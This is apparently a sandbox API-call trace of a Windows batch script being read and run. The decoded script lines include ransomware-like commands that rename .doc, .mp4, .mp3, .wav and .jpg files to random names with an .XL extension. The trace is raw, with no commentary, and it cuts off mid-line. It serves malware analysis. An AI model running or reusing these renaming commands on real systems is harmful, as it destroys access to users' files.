[0039.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0039.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.317] GetFileType (hFile=0x74) returned 0x1 [0039.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0039.317] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=3209, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0039.317] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0039.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.317] GetFileType (hFile=0x74) returned 0x1 [0039.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0039.317] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=3215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0039.317] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0039.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0039.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.318] GetFileType (hFile=0x74) returned 0x1 [0039.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0039.338] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=3217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0039.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0039.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0039.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.338] GetFileType (hFile=0x74) returned 0x1 [0039.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0039.339] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=3243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0039.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0039.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0039.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.339] GetFileType (hFile=0x74) returned 0x1 [0039.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0039.339] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=3254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0039.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0039.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0039.339] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.339] GetFileType (hFile=0x74) returned 0x1 [0039.339] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0039.340] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=3256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0039.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0039.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.340] GetFileType (hFile=0x74) returned 0x1 [0039.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0039.340] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=3262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0039.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0039.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0039.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.340] GetFileType (hFile=0x74) returned 0x1 [0039.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0039.341] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=3264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0039.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0039.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0039.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.341] GetFileType (hFile=0x74) returned 0x1 [0039.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0039.341] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=3290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0039.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0039.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0039.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.341] GetFileType (hFile=0x74) returned 0x1 [0039.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0039.341] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=3301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0039.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0039.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0039.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.342] GetFileType (hFile=0x74) returned 0x1 [0039.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0039.342] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=3303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0039.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0039.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.342] GetFileType (hFile=0x74) returned 0x1 [0039.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0039.342] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=3309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0039.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0039.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0039.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.343] GetFileType (hFile=0x74) returned 0x1 [0039.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0039.343] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=3311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0039.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0039.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0039.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.343] GetFileType (hFile=0x74) returned 0x1 [0039.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0039.343] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.343] SetFilePointer (in: hFile=0x74, lDistanceToMove=3337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0039.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0039.343] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0039.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.344] GetFileType (hFile=0x74) returned 0x1 [0039.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0039.344] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=3348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0039.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0039.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0039.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.344] GetFileType (hFile=0x74) returned 0x1 [0039.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0039.344] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=3350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0039.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.344] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.344] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0039.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.345] GetFileType (hFile=0x74) returned 0x1 [0039.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0039.345] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=3356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0039.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0039.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0039.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.345] GetFileType (hFile=0x74) returned 0x1 [0039.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0039.345] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=3358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0039.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0039.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.345] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0039.345] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.345] GetFileType (hFile=0x74) returned 0x1 [0039.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0039.346] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=3384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0039.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0039.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0039.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.346] GetFileType (hFile=0x74) returned 0x1 [0039.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0039.346] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=3395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0039.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0039.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0039.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.346] GetFileType (hFile=0x74) returned 0x1 [0039.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0039.347] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=3397, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0039.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0039.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.347] GetFileType (hFile=0x74) returned 0x1 [0039.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0039.347] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=3403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0039.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0039.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0039.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.347] GetFileType (hFile=0x74) returned 0x1 [0039.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0039.347] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=3405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0039.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0039.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0039.348] _get_osfhandle (_FileHandle=3) returned 